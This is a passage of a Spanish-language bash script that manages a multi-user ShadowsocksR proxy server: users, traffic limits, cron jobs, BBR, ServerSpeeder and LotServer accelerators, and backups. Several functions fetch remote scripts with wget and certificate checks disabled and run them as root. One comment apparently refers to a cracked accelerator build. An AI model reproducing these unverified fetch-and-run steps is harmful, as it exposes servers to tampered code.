echo -e "${user_list_all}" +} +View_user_connection_info(){ +clear + SSR_installation_status + msg -bar + echo -e "Seleccione el formato para mostrar : +$(msg -bar) + ${Green_font_prefix}1.${Font_color_suffix} Mostrar IP + + ${Green_font_prefix}2.${Font_color_suffix} Mostrar IP + Resolver el nombre DNS" +msg -bar + stty erase '^H' && read -p "(Predeterminado: 1):" ssr_connection_info +msg -bar + [[ -z "${ssr_connection_info}" ]] && ssr_connection_info="1" + if [[ ${ssr_connection_info} == "1" ]]; then + View_user_connection_info_1 "" + elif [[ ${ssr_connection_info} == "2" ]]; then + echo -e "${Tip} Detectar IP (ipip.net)puede llevar mas tiempo si hay muchas IPs" +msg -bar + View_user_connection_info_1 "IP_address" + else + echo -e "${Error} Ingrese el numero correcto(1-2)" && exit 1 + fi +} +View_user_connection_info_1(){ + format=$1 + if [[ ${release} = "centos" ]]; then + cat /etc/redhat-release |grep 7\..*|grep -i centos>/dev/null + if [[ $? = 0 ]]; then + debian_View_user_connection_info "$format" + else + centos_View_user_connection_info "$format" + fi + else + debian_View_user_connection_info "$format" + fi +} +get_IP_address(){ + #echo "user_IP_1=${user_IP_1}" + if [[ ! -z ${user_IP_1} ]]; then + #echo "user_IP_total=${user_IP_total}" + for((integer_1 = ${user_IP_total}; integer_1 >= 1; integer_1--)) + do + IP=`echo "${user_IP_1}" |sed -n "$integer_1"p` + #echo "IP=${IP}" + IP_address=`wget -qO- -t1 -T2 http://freeapi.ipip.net/${IP}|sed 's/\"//g;s/,//g;s/\[//g;s/\]//g'` + #echo "IP_address=${IP_address}" + user_IP="${user_IP}\n${IP}(${IP_address})" + #echo "user_IP=${user_IP}" + sleep 1s + done + fi +} +#Modificar la configuracin del usuario +Modify_port(){ +msg -bar + List_port_user + while true + do + echo -e "Por favor ingrese el usuario (Puerto) que tiene que ser modificado" +msg -bar + stty erase '^H' && read -p "(Predeterminado: cancelar):" ssr_port + [[ -z "${ssr_port}" ]] && echo -e "Cancelado ...\n$(msg -bar)" && exit 1 + Modify_user=$(cat "${config_user_mudb_file}"|grep '"port": '"${ssr_port}"',') + if [[ ! -z ${Modify_user} ]]; then + break + else + echo -e "${Error} Puerto Introduzca el Puerto correcto!" + fi + done +} +Modify_Config(){ +clear + SSR_installation_status + echo && echo -e " ###¿Que desea realizar?###Mod By @Kalix1 +$(msg -bar) + ${Green_font_prefix}1.${Font_color_suffix} Agregar y Configurar Usuario + ${Green_font_prefix}2.${Font_color_suffix} Eliminar la Configuracion del Usuario +————————— Modificar la Configuracion del Usuario ———— + ${Green_font_prefix}3.${Font_color_suffix} Modificar contrasena de Usuario + ${Green_font_prefix}4.${Font_color_suffix} Modificar el metodo de Cifrado + ${Green_font_prefix}5.${Font_color_suffix} Modificar el Protocolo + ${Green_font_prefix}6.${Font_color_suffix} Modificar Ofuscacion + ${Green_font_prefix}7.${Font_color_suffix} Modificar el Limite de Dispositivos + ${Green_font_prefix}8.${Font_color_suffix} Modificar el Limite de Velocidad de un solo Hilo + ${Green_font_prefix}9.${Font_color_suffix} Modificar limite de Velocidad Total del Usuario + ${Green_font_prefix}10.${Font_color_suffix} Modificar el Trafico Total del Usuario + ${Green_font_prefix}11.${Font_color_suffix} Modificar los Puertos Prohibidos Del usuario + ${Green_font_prefix}12.${Font_color_suffix} Modificar la Configuracion Completa +————————— Otras Configuraciones ————————— + ${Green_font_prefix}13.${Font_color_suffix} Modificar la IP o el nombre de dominio que\n se muestra en el perfil del usuario +$(msg -bar) + ${Tip} El nombre de usuario y el puerto del usuario\n no se pueden modificar. Si necesita modificarlos, use\n el script para modificar manualmente la funcion !" +msg -bar + stty erase '^H' && read -p "(Predeterminado: cancelar):" ssr_modify + [[ -z "${ssr_modify}" ]] && echo -e "Cancelado ...\n$(msg -bar)" && exit 1 + if [[ ${ssr_modify} == "1" ]]; then + Add_port_user + elif [[ ${ssr_modify} == "2" ]]; then + Del_port_user + elif [[ ${ssr_modify} == "3" ]]; then + Modify_port + Set_config_password + Modify_config_password + elif [[ ${ssr_modify} == "4" ]]; then + Modify_port + Set_config_method + Modify_config_method + elif [[ ${ssr_modify} == "5" ]]; then + Modify_port + Set_config_protocol + Modify_config_protocol + elif [[ ${ssr_modify} == "6" ]]; then + Modify_port + Set_config_obfs + Modify_config_obfs + elif [[ ${ssr_modify} == "7" ]]; then + Modify_port + Set_config_protocol_param + Modify_config_protocol_param + elif [[ ${ssr_modify} == "8" ]]; then + Modify_port + Set_config_speed_limit_per_con + Modify_config_speed_limit_per_con + elif [[ ${ssr_modify} == "9" ]]; then + Modify_port + Set_config_speed_limit_per_user + Modify_config_speed_limit_per_user + elif [[ ${ssr_modify} == "10" ]]; then + Modify_port + Set_config_transfer + Modify_config_transfer + elif [[ ${ssr_modify} == "11" ]]; then + Modify_port + Set_config_forbid + Modify_config_forbid + elif [[ ${ssr_modify} == "12" ]]; then + Modify_port + Set_config_all "Modify" + Modify_config_all + elif [[ ${ssr_modify} == "13" ]]; then + Set_user_api_server_pub_addr "Modify" + Modify_user_api_server_pub_addr + else + echo -e "${Error} Ingrese el numero correcto(1-13)" && exit 1 + fi + +} +List_port_user(){ + user_info=$(python mujson_mgr.py -l) + user_total=$(echo "${user_info}"|wc -l) + [[ -z ${user_info} ]] && echo -e "${Error} No encontre al usuario, por favor verifica otra vez!" && exit 1 + user_list_all="" + for((integer = 1; integer <= ${user_total}; integer++)) + do + user_port=$(echo "${user_info}"|sed -n "${integer}p"|awk '{print $4}') + user_username=$(echo "${user_info}"|sed -n "${integer}p"|awk '{print $2}'|sed 's/\[//g;s/\]//g') + Get_User_transfer "${user_port}" + + user_list_all=${user_list_all}"Nombre de usuario: ${Green_font_prefix} "${user_username}"${Font_color_suffix}\nPort: ${Green_font_prefix}"${user_port}"${Font_color_suffix}\nUso del trafico (Usado + Restante = Total):\n ${Green_font_prefix}${transfer_enable_Used_2}${Font_color_suffix} + ${Green_font_prefix}${transfer_enable_Used}${Font_color_suffix} = ${Green_font_prefix}${transfer_enable}${Font_color_suffix}\n--------------------------------------------\n " + done + echo && echo -e "===== El numero total de usuarios ===== ${Green_background_prefix} "${user_total}" ${Font_color_suffix}\n--------------------------------------------" + echo -e ${user_list_all} +} +Add_port_user(){ +clear + lalal=$1 + if [[ "$lalal" == "install" ]]; then + match_add=$(python mujson_mgr.py -a -u "${ssr_user}" -p "${ssr_port}" -k "${ssr_password}" -m "${ssr_method}" -O "${ssr_protocol}" -G "${ssr_protocol_param}" -o "${ssr_obfs}" -s "${ssr_speed_limit_per_con}" -S "${ssr_speed_limit_per_user}" -t "${ssr_transfer}" -f "${ssr_forbid}"|grep -w "add user info") + else + while true + do + Set_config_all + match_port=$(python mujson_mgr.py -l|grep -w "port ${ssr_port}$") + [[ ! -z "${match_port}" ]] && echo -e "${Error} El puerto [${ssr_port}] Ya existe, no lo agregue de nuevo !" && exit 1 + match_username=$(python mujson_mgr.py -l|grep -w "Usuario \[${ssr_user}]") + [[ ! -z "${match_username}" ]] && echo -e "${Error} Nombre de usuario [${ssr_user}] Ya existe, no lo agregues de nuevo !" && exit 1 + match_add=$(python mujson_mgr.py -a -u "${ssr_user}" -p "${ssr_port}" -k "${ssr_password}" -m "${ssr_method}" -O "${ssr_protocol}" -G "${ssr_protocol_param}" -o "${ssr_obfs}" -s "${ssr_speed_limit_per_con}" -S "${ssr_speed_limit_per_user}" -t "${ssr_transfer}" -f "${ssr_forbid}"|grep -w "add user info") + if [[ -z "${match_add}" ]]; then + echo -e "${Error} Usuario no se pudo agregar ${Green_font_prefix}[Nombre de usuario: ${ssr_user} , port: ${ssr_port}]${Font_color_suffix} " + break + else + Add_iptables + Save_iptables + msg -bar + echo -e "${Info} Usuario agregado exitosamente\n ${Green_font_prefix}[Nombre de usuario: ${ssr_user} , Puerto: ${ssr_port}]${Font_color_suffix} " + echo + stty erase '^H' && read -p "Continuar para agregar otro Usuario?[y/n]:" addyn + [[ -z ${addyn} ]] && addyn="y" + if [[ ${addyn} == [Nn] ]]; then + Get_User_info "${ssr_port}" + View_User_info + break + else + echo -e "${Info} Continuar agregando configuracion de usuario ..." + fi + fi + done + fi +} +Del_port_user(){ + + List_port_user + while true + do + msg -bar + echo -e "Por favor ingrese el puerto de usuario para ser eliminado" + stty erase '^H' && read -p "(Predeterminado: Cancelar):" del_user_port + msg -bar + [[ -z "${del_user_port}" ]] && echo -e "Cancelado...\n$(msg -bar)" && exit 1 + del_user=$(cat "${config_user_mudb_file}"|grep '"port": '"${del_user_port}"',') + if [[ ! -z ${del_user} ]]; then + port=${del_user_port} + match_del=$(python mujson_mgr.py -d -p "${del_user_port}"|grep -w "delete user ") + if [[ -z "${match_del}" ]]; then + echo -e "${Error} La eliminación del usuario falló ${Green_font_prefix}[Puerto: ${del_user_port}]${Font_color_suffix} " + else + Del_iptables + Save_iptables + echo -e "${Info} Usuario eliminado exitosamente ${Green_font_prefix}[Puerto: ${del_user_port}]${Font_color_suffix} " + fi + break + else + echo -e "${Error} Por favor ingrese el puerto correcto !" + fi + done + msg -bar +} +Manually_Modify_Config(){ +clear +msg -bar + SSR_installation_status + nano ${config_user_mudb_file} + echo "Si reiniciar ShadowsocksR ahora?[Y/n]" && echo +msg -bar + stty erase '^H' && read -p "(Predeterminado: y):" yn + [[ -z ${yn} ]] && yn="y" + if [[ ${yn} == [Yy] ]]; then + Restart_SSR + fi + +} +Clear_transfer(){ +clear +msg -bar + SSR_installation_status + echo -e "Que quieres realizar? +$(msg -bar) + ${Green_font_prefix}1.${Font_color_suffix} Borrar el trafico de un solo usuario + ${Green_font_prefix}2.${Font_color_suffix} Borrar todo el trafico de usuarios (irreparable) + ${Green_font_prefix}3.${Font_color_suffix} Todo el trafico de usuarios se borra en el inicio + ${Green_font_prefix}4.${Font_color_suffix} Deja de cronometrar todo el trafico de usuarios + ${Green_font_prefix}5.${Font_color_suffix} Modificar la sincronizacion de todo el trafico de usuarios" +msg -bar + stty erase '^H' && read -p "(Predeterminado:Cancelar):" ssr_modify + [[ -z "${ssr_modify}" ]] && echo "Cancelado ..." && exit 1 + if [[ ${ssr_modify} == "1" ]]; then + Clear_transfer_one + elif [[ ${ssr_modify} == "2" ]]; then +msg -bar + echo "Esta seguro de que desea borrar todo el trafico de usuario[y/n]" && echo +msg -bar + stty erase '^H' && read -p "(Predeterminado: n):" yn + [[ -z ${yn} ]] && yn="n" + if [[ ${yn} == [Yy] ]]; then + Clear_transfer_all + else + echo "Cancelar ..." + fi + elif [[ ${ssr_modify} == "3" ]]; then + check_crontab + Set_crontab + Clear_transfer_all_cron_start + elif [[ ${ssr_modify} == "4" ]]; then + check_crontab + Clear_transfer_all_cron_stop + elif [[ ${ssr_modify} == "5" ]]; then + check_crontab + Clear_transfer_all_cron_modify + else + echo -e "${Error} Por favor numero de (1-5)" && exit 1 + fi + +} +Clear_transfer_one(){ + List_port_user + while true + do + msg -bar + echo -e "Por favor ingrese el puerto de usuario para borrar el tráfico usado" + stty erase '^H' && read -p "(Predeterminado: Cancelar):" Clear_transfer_user_port + [[ -z "${Clear_transfer_user_port}" ]] && echo -e "Cancelado...\n$(msg -bar)" && exit 1 + Clear_transfer_user=$(cat "${config_user_mudb_file}"|grep '"port": '"${Clear_transfer_user_port}"',') + if [[ ! -z ${Clear_transfer_user} ]]; then + match_clear=$(python mujson_mgr.py -c -p "${Clear_transfer_user_port}"|grep -w "clear user ") + if [[ -z "${match_clear}" ]]; then + echo -e "${Error} El usuario no ha podido utilizar la compensación de tráfico ${Green_font_prefix}[Puerto: ${Clear_transfer_user_port}]${Font_color_suffix} " + else + echo -e "${Info} El usuario ha eliminado con éxito el tráfico utilizando cero. ${Green_font_prefix}[Puerto: ${Clear_transfer_user_port}]${Font_color_suffix} " + fi + break + else + echo -e "${Error} Por favor ingrese el puerto correcto !" + fi + done +} +Clear_transfer_all(){ +clear + cd "${ssr_folder}" + user_info=$(python mujson_mgr.py -l) + user_total=$(echo "${user_info}"|wc -l) + [[ -z ${user_info} ]] && echo -e "${Error} No encontro, por favor compruebe!" && exit 1 + for((integer = 1; integer <= ${user_total}; integer++)) + do + user_port=$(echo "${user_info}"|sed -n "${integer}p"|awk '{print $4}') + match_clear=$(python mujson_mgr.py -c -p "${user_port}"|grep -w "clear user ") + if [[ -z "${match_clear}" ]]; then + echo -e "${Error} El usuario ha utilizado el trafico borrado fallido ${Green_font_prefix}[Port: ${user_port}]${Font_color_suffix} " + else + echo -e "${Info} El usuario ha utilizado el trafico para borrar con exito ${Green_font_prefix}[Port: ${user_port}]${Font_color_suffix} " + fi + done + echo -e "${Info} Se borra todo el trafico de usuarios!" +} +Clear_transfer_all_cron_start(){ + crontab -l > "$file/crontab.bak" + sed -i "/ssrmu.sh/d" "$file/crontab.bak" + echo -e "\n${Crontab_time} /bin/bash $file/ssrmu.sh clearall" >> "$file/crontab.bak" + crontab "$file/crontab.bak" + rm -r "$file/crontab.bak" + cron_config=$(crontab -l | grep "ssrmu.sh") + if [[ -z ${cron_config} ]]; then + echo -e "${Error} Temporizacion de todo el trafico de usuarios borrado. !" && exit 1 + else + echo -e "${Info} Programacion de todos los tiempos de inicio claro exitosos!" + fi +} +Clear_transfer_all_cron_stop(){ + crontab -l > "$file/crontab.bak" + sed -i "/ssrmu.sh/d" "$file/crontab.bak" + crontab "$file/crontab.bak" + rm -r "$file/crontab.bak" + cron_config=$(crontab -l | grep "ssrmu.sh") + if [[ ! -z ${cron_config} ]]; then + echo -e "${Error} Temporizado Todo el trafico de usuarios se ha borrado Parado fallido!" && exit 1 + else + echo -e "${Info} Timing All Clear Stop Stop Successful!!" + fi +} +Clear_transfer_all_cron_modify(){ + Set_crontab + Clear_transfer_all_cron_stop + Clear_transfer_all_cron_start +} +Set_crontab(){ +clear + + echo -e "Por favor ingrese el intervalo de tiempo de flujo + === Formato === + * * * * * Mes * * * * * + ${Green_font_prefix} 0 2 1 * * ${Font_color_suffix} Representante 1er, 2:00, claro, trafico usado. +$(msg -bar) + ${Green_font_prefix} 0 2 15 * * ${Font_color_suffix} Representativo El 1 2} representa el 15 2:00 minutos Punto de flujo usado despejado 0 minutos Borrar flujo usado +$(msg -bar) + ${Green_font_prefix} 0 2 */7 * * ${Font_color_suffix} Representante 7 dias 2: 0 minutos despeja el trafico usado. +$(msg -bar) + ${Green_font_prefix} 0 2 * * 0 ${Font_color_suffix} Representa todos los domingos (7) para despejar el trafico utilizado. +$(msg -bar) + ${Green_font_prefix} 0 2 * * 3 ${Font_color_suffix} Representante (3) Flujo de trafico usado despejado" +msg -bar + stty erase '^H' && read -p "(Default: 0 2 1 * * 1 de cada mes 2:00):" Crontab_time + [[ -z "${Crontab_time}" ]] && Crontab_time="0 2 1 * *" +} +Start_SSR(){ +clear + SSR_installation_status + check_pid + [[ ! -z ${PID} ]] && echo -e "${Error} ShadowsocksR se esta ejecutando!" && exit 1 + /etc/init.d/ssrmu start + +} +Stop_SSR(){ +clear + SSR_installation_status + check_pid + [[ -z ${PID} ]] && echo -e "${Error} ShadowsocksR no esta funcionando!" && exit 1 + /etc/init.d/ssrmu stop + +} +Restart_SSR(){ +clear + SSR_installation_status + check_pid + [[ ! -z ${PID} ]] && /etc/init.d/ssrmu stop + /etc/init.d/ssrmu start + +} +View_Log(){ + SSR_installation_status + [[ ! -e ${ssr_log_file} ]] && echo -e "${Error} El registro de ShadowsocksR no existe!" && exit 1 + echo && echo -e "${Tip} Presione ${Red_font_prefix}Ctrl+C ${Font_color_suffix} Registro de registro de terminacion" && echo + tail -f ${ssr_log_file} + +} +#Afilado +Configure_Server_Speeder(){ +clear +msg -bar + echo && echo -e "Que vas a hacer +${BARRA1} + ${Green_font_prefix}1.${Font_color_suffix} Velocidad aguda +$(msg -bar) + ${Green_font_prefix}2.${Font_color_suffix} Velocidad aguda +———————— + ${Green_font_prefix}3.${Font_color_suffix} Velocidad aguda +$(msg -bar) + ${Green_font_prefix}4.${Font_color_suffix} Velocidad aguda +$(msg -bar) + ${Green_font_prefix}5.${Font_color_suffix} Reinicie la velocidad aguda +$(msg -bar) + ${Green_font_prefix}6.${Font_color_suffix} Estado agudo + $(msg -bar) + Nota: Sharp y LotServer no se pueden instalar / iniciar al mismo tiempo" +msg -bar + stty erase '^H' && read -p "(Predeterminado: Cancelar):" server_speeder_num + [[ -z "${server_speeder_num}" ]] && echo "Cancelado ..." && exit 1 + if [[ ${server_speeder_num} == "1" ]]; then + Install_ServerSpeeder + elif [[ ${server_speeder_num} == "2" ]]; then + Server_Speeder_installation_status + Uninstall_ServerSpeeder + elif [[ ${server_speeder_num} == "3" ]]; then + Server_Speeder_installation_status + ${Server_Speeder_file} start + ${Server_Speeder_file} status + elif [[ ${server_speeder_num} == "4" ]]; then + Server_Speeder_installation_status + ${Server_Speeder_file} stop + elif [[ ${server_speeder_num} == "5" ]]; then + Server_Speeder_installation_status + ${Server_Speeder_file} restart + ${Server_Speeder_file} status + elif [[ ${server_speeder_num} == "6" ]]; then + Server_Speeder_installation_status + ${Server_Speeder_file} status + else + echo -e "${Error} Por favor numero(1-6)" && exit 1 + fi +} +Install_ServerSpeeder(){ + [[ -e ${Server_Speeder_file} ]] && echo -e "${Error} Server Speeder esta instalado!" && exit 1 + #Prestamo de la version feliz de 91yun.rog + wget --no-check-certificate -qO /tmp/serverspeeder.sh https://raw.githubusercontent.com/91yun/serverspeeder/master/serverspeeder.sh + [[ ! -e "/tmp/serverspeeder.sh" ]] && echo -e "${Error} Prestamo de la version feliz de 91yun.rog!" && exit 1 + bash /tmp/serverspeeder.sh + sleep 2s + PID=`ps -ef |grep -v grep |grep "serverspeeder" |awk '{print $2}'` + if [[ ! -z ${PID} ]]; then + rm -rf /tmp/serverspeeder.sh + rm -rf /tmp/91yunserverspeeder + rm -rf /tmp/91yunserverspeeder.tar.gz + echo -e "${Info} La instalacion del servidor Speeder esta completa!" && exit 1 + else + echo -e "${Error} Fallo la instalacion de Server Speeder!" && exit 1 + fi +} +Uninstall_ServerSpeeder(){ +clear +msg -bar + echo "yes para desinstalar Speed ??Speed ??(Server Speeder)[y/N]" && echo +msg -bar + stty erase '^H' && read -p "(Predeterminado: n):" unyn + [[ -z ${unyn} ]] && echo && echo "Cancelado ..." && exit 1 + if [[ ${unyn} == [Yy] ]]; then + chattr -i /serverspeeder/etc/apx* + /serverspeeder/bin/serverSpeeder.sh uninstall -f + echo && echo "Server Speeder Desinstalacion completa!" && echo + fi +} +# LotServer +Configure_LotServer(){ +clear +msg -bar + echo && echo -e "Que vas a hacer? +$(msg -bar) + ${Green_font_prefix}1.${Font_color_suffix} Instalar LotServer +$(msg -bar) + ${Green_font_prefix}2.${Font_color_suffix} Desinstalar LotServer +———————— + ${Green_font_prefix}3.${Font_color_suffix} Iniciar LotServer +$(msg -bar) + ${Green_font_prefix}4.${Font_color_suffix} Detener LotServer +$(msg -bar) + ${Green_font_prefix}5.${Font_color_suffix} Reiniciar LotServer +$(msg -bar) + ${Green_font_prefix}6.${Font_color_suffix} Ver el estado de LotServer +${BARRA1} + + Nota: Sharp y LotServer no se pueden instalar / iniciar al mismo tiempo" +msg -bar + + stty erase '^H' && read -p "(Predeterminado: Cancelar):" lotserver_num + [[ -z "${lotserver_num}" ]] && echo "Cancelado ..." && exit 1 + if [[ ${lotserver_num} == "1" ]]; then + Install_LotServer + elif [[ ${lotserver_num} == "2" ]]; then + LotServer_installation_status + Uninstall_LotServer + elif [[ ${lotserver_num} == "3" ]]; then + LotServer_installation_status + ${LotServer_file} start + ${LotServer_file} status + elif [[ ${lotserver_num} == "4" ]]; then + LotServer_installation_status + ${LotServer_file} stop + elif [[ ${lotserver_num} == "5" ]]; then + LotServer_installation_status + ${LotServer_file} restart + ${LotServer_file} status + elif [[ ${lotserver_num} == "6" ]]; then + LotServer_installation_status + ${LotServer_file} status + else + echo -e "${Error} Por favor numero(1-6)" && exit 1 + fi +} +Install_LotServer(){ + [[ -e ${LotServer_file} ]] && echo -e "${Error} LotServer esta instalado!" && exit 1 + #Github: https://github.com/0oVicero0/serverSpeeder_Install + wget --no-check-certificate -qO /tmp/appex.sh "https://raw.githubusercontent.com/0oVicero0/serverSpeeder_Install/master/appex.sh" + [[ ! -e "/tmp/appex.sh" ]] && echo -e "${Error} Fallo la descarga del script de instalacion de LotServer!" && exit 1 + bash /tmp/appex.sh 'install' + sleep 2s + PID=`ps -ef |grep -v grep |grep "appex" |awk '{print $2}'` + if [[ ! -z ${PID} ]]; then + echo -e "${Info} La instalacion de LotServer esta completa!" && exit 1 + else + echo -e "${Error} Fallo la instalacion de LotServer!" && exit 1 + fi +} +Uninstall_LotServer(){ +clear +msg -bar + echo "Desinstalar Para desinstalar LotServer[y/N]" && echo +msg -bar + stty erase '^H' && read -p "(Predeterminado: n):" unyn +msg -bar + [[ -z ${unyn} ]] && echo && echo "Cancelado ..." && exit 1 + if [[ ${unyn} == [Yy] ]]; then + wget --no-check-certificate -qO /tmp/appex.sh "https://raw.githubusercontent.com/0oVicero0/serverSpeeder_Install/master/appex.sh" && bash /tmp/appex.sh 'uninstall' + echo && echo "La desinstalacion de LotServer esta completa!" && echo + fi +} +# BBR +Configure_BBR(){ +clear +msg -bar + echo -e " Que vas a hacer? +$(msg -bar) + ${Green_font_prefix}1.${Font_color_suffix} Instalar BBR +———————— +${Green_font_prefix}2.${Font_color_suffix} Iniciar BBR +${Green_font_prefix}3.${Font_color_suffix} Dejar de BBR +${Green_font_prefix}4.${Font_color_suffix} Ver el estado de BBR" +msg -bar +echo -e "${Green_font_prefix} [Por favor, preste atencion antes de la instalacion] ${Font_color_suffix} +$(msg -bar) +1. Abra BBR, reemplace, hay un error de reemplazo (despues de reiniciar) +2. Este script solo es compatible con los nucleos de reemplazo de Debian / Ubuntu. OpenVZ y Docker no admiten el reemplazo de los nucleos. +3. Debian reemplaza el proceso del kernel [Desea finalizar el kernel de desinstalacion], seleccione ${Green_font_prefix} NO ${Font_color_suffix}" + stty erase '^H' && read -p "(Predeterminado: Cancelar):" bbr_num +msg -bar + [[ -z "${bbr_num}" ]] && echo -e "Cancelado...\n$(msg -bar)" && exit 1 + if [[ ${bbr_num} == "1" ]]; then + Install_BBR + elif [[ ${bbr_num} == "2" ]]; then + Start_BBR + elif [[ ${bbr_num} == "3" ]]; then + Stop_BBR + elif [[ ${bbr_num} == "4" ]]; then + Status_BBR + else + echo -e "${Error} Por favor numero(1-4)" && exit 1 + fi +} +Install_BBR(){ + [[ ${release} = "centos" ]] && echo -e "${Error} Este script de instalacion del sistema CentOS. BBR !" && exit 1 + BBR_installation_status + bash "${BBR_file}" +} +Start_BBR(){ + BBR_installation_status + bash "${BBR_file}" start +} +Stop_BBR(){ + BBR_installation_status + bash "${BBR_file}" stop +} +Status_BBR(){ + BBR_installation_status + bash "${BBR_file}" status +} +BackUP_ssrr(){ +clear +msg -bar +msg -ama "$(fun_trans "HERRAMIENTA DE BACKUP SS-SSRR -BETA")" +msg -bar +msg -azu "CREANDO BACKUP" "RESTAURAR BACKUP" +msg -bar +rm -rf /root/mudb.json > /dev/null 2>&1 +cp /usr/local/shadowsocksr/mudb.json /root/mudb.json > /dev/null 2>&1 +msg -azu "$(fun_trans "Procedimiento Hecho con Exito, Guardado en:")" +echo -e "\033[1;31mBACKUP > [\033[1;32m/root/mudb.json\033[1;31m]" +msg -bar +} +RestaurarBackUp_ssrr(){ +clear +msg -bar +msg -ama "$(fun_trans "HERRAMIENTA DE RESTAURACION SS-SSRR -BETA")" +msg -bar +msg -azu "Recuerde tener minimo una cuenta ya creada" +msg -azu "Copie el archivo mudb.json en la carpeta /root" +read -p " ►► Presione enter para continuar ◄◄" +msg -bar +msg -azu "$(fun_trans "Procedimiento Hecho con Exito")" +read -p " ►► Presione enter para Reiniciar Panel SSRR ◄◄" +msg -bar +mv /root/mudb.json /usr/local/shadowsocksr/mudb.json +Restart_SSR +msg -bar +} + +# Otros +Other_functions(){ +clear +msg -bar + echo && echo -e " Que vas a realizar? +$(msg -bar) + ${Green_font_prefix}1.${Font_color_suffix} Configurar BBR + ${Green_font_prefix}2.${Font_color_suffix} Velocidad de configuracion (ServerSpeeder) + ${Green_font_prefix}3.${Font_color_suffix} Configurar LotServer (Rising Parent) + ${Tip} Sharp / LotServer / BBR no es compatible con OpenVZ! + ${Tip} Speed y LotServer no pueden coexistir! +———————————— + ${Green_font_prefix}4.${Font_color_suffix} Llave de bloqueo BT/PT/SPAM (iptables) + ${Green_font_prefix}5.${Font_color_suffix} Llave de desbloqueo BT/PT/SPAM (iptables) +———————————— + ${Green_font_prefix}6.${Font_color_suffix} Cambiar modo de salida de registro ShadowsocksR + —— Modo bajo o verboso.. + ${Green_font_prefix}7.${Font_color_suffix} Supervisar el estado de ejecucion del servidor ShadowsocksR + —— NOTA: Esta funcion es adecuada para que el servidor SSR finalice los procesos regulares. Una vez que esta funcion esta habilitada, sera detectada cada minuto. Cuando el proceso no existe, el servidor SSR se inicia automaticamente. +———————————— + ${Green_font_prefix}8.${Font_color_suffix} Backup SSRR + ${Green_font_prefix}9.${Font_color_suffix} Restaurar Backup" && echo +msg -bar + stty erase '^H' && read -p "(Predeterminado: cancelar):" other_num + [[ -z "${other_num}" ]] && echo -e "Cancelado...\n$(msg -bar)" && exit 1 + if [[ ${other_num} == "1" ]]; then + Configure_BBR + elif [[ ${other_num} == "2" ]]; then + Configure_Server_Speeder + elif [[ ${other_num} == "3" ]]; then + Configure_LotServer + elif [[ ${other_num} == "4" ]]; then + BanBTPTSPAM + elif [[ ${other_num} == "5" ]]; then + UnBanBTPTSPAM + elif [[ ${other_num} == "6" ]]; then + Set_config_connect_verbose_info + elif [[ ${other_num} == "7" ]]; then + Set_crontab_monitor_ssr + elif [[ ${other_num} == "8" ]]; then + BackUP_ssrr + elif [[ ${other_num} == "9" ]]; then + RestaurarBackUp_ssrr + else + echo -e "${Error} Por favor numero [1-9]" && exit 1 + fi + +} +#ProhibidoBT PT SPAM +BanBTPTSPAM(){ + wget -N --no-check-certificate https://raw.githubusercontent.com/ToyoDAdoubi/doubi/master/ban_iptables.sh && chmod +x ban_iptables.sh && bash ban_iptables.sh banall + rm -rf ban_iptables.sh +} +#Desbloquear BT PT SPAM +UnBanBTPTSPAM(){ + wget -N --no-check-certificate https://raw.githubusercontent.com/ToyoDAdoubi/doubi/master/ban_iptables.sh && chmod +x ban_iptables.sh && bash ban_iptables.sh unbanall + rm -rf ban_iptables.sh +} +Set_config_connect_verbose_info(){ +clear +msg -bar + SSR_installation_status + [[ ! -e ${jq_file} ]] && echo -e "${Error} JQ parser No, por favor, compruebe!" && exit 1 + connect_verbose_info=`${jq_file} '.connect_verbose_info' ${config_user_file}` + if [[ ${connect_verbose_info} = "0" ]]; then + echo && echo -e "Modo de registro actual: ${Green_font_prefix}Registro de errores en modo simple${Font_color_suffix}" +msg -bar + echo -e "yes para cambiar a ${Green_font_prefix}Modo detallado (registro de conexin + registro de errores)${Font_color_suffix}?[y/N]" +msg -bar + stty erase '^H' && read -p "(Predeterminado: n):" connect_verbose_info_ny + [[ -z "${connect_verbose_info_ny}" ]] && connect_verbose_info_ny="n" + if [[ ${connect_verbose_info_ny} == [Yy] ]]; then + ssr_connect_verbose_info="1" + Modify_config_connect_verbose_info + Restart_SSR + else + echo && echo " Cancelado ..." && echo + fi + else + echo && echo -e "Modo de registro actual: ${Green_font_prefix}Modo detallado (conexion de conexion + registro de errores)${Font_color_suffix}" +msg -bar + echo -e "yes para cambiar a ${Green_font_prefix}Modo simple ${Font_color_suffix}?[y/N]" + stty erase '^H' && read -p "(Predeterminado: n):" connect_verbose_info_ny + [[ -z "${connect_verbose_info_ny}" ]] && connect_verbose_info_ny="n" + if [[ ${connect_verbose_info_ny} == [Yy] ]]; then + ssr_connect_verbose_info="0" + Modify_config_connect_verbose_info + Restart_SSR + else + echo && echo " Cancelado ..." && echo + fi + fi +} +Set_crontab_monitor_ssr(){ +clear +msg -bar + SSR_installation_status + crontab_monitor_ssr_status=$(crontab -l|grep "ssrmu.sh monitor") + if [[ -z "${crontab_monitor_ssr_status}" ]]; then + echo && echo -e "Modo de monitoreo actual: ${Green_font_prefix}No monitoreado${Font_color_suffix}" +msg -bar + echo -e "Ok para abrir ${Green_font_prefix}Servidor ShadowsocksR ejecutando monitoreo de estado${Font_color_suffix} Funcion? (Cuando el proceso R lado SSR R)[Y/n]" +msg -bar + stty erase '^H' && read -p "(Predeterminado: y):" crontab_monitor_ssr_status_ny + [[ -z "${crontab_monitor_ssr_status_ny}" ]] && crontab_monitor_ssr_status_ny="y" + if [[ ${crontab_monitor_ssr_status_ny} == [Yy] ]]; then + crontab_monitor_ssr_cron_start + else + echo && echo " Cancelado ..." && echo + fi + else + echo && echo -e "Modo de monitoreo actual: ${Green_font_prefix}Abierto${Font_color_suffix}" +msg -bar + echo -e "Ok para apagar ${Green_font_prefix}Servidor ShadowsocksR ejecutando monitoreo de estado${Font_color_suffix} Funcion? (procesar servidor SSR)[y/N]" +msg -bar + stty erase '^H' && read -p "(Predeterminado: n):" crontab_monitor_ssr_status_ny + [[ -z "${crontab_monitor_ssr_status_ny}" ]] && crontab_monitor_ssr_status_ny="n" + if [[ ${crontab_monitor_ssr_status_ny} == [Yy] ]]; then + crontab_monitor_ssr_cron_stop + else + echo && echo " Cancelado ..." && echo + fi + fi +} +crontab_monitor_ssr(){ + SSR_installation_status + check_pid + if [[ -z ${PID} ]]; then + echo -e "${Error} [$(date "+%Y-%m-%d %H:%M:%S %u %Z")] Detectado que el servidor ShadowsocksR no esta iniciado, inicie..." | tee -a ${ssr_log_file} + /etc/init.d/ssrmu start + sleep 1s + check_pid + if [[ -z ${PID} ]]; then + echo -e "${Error} [$(date "+%Y-%m-%d %H:%M:%S %u %Z")] Fallo el 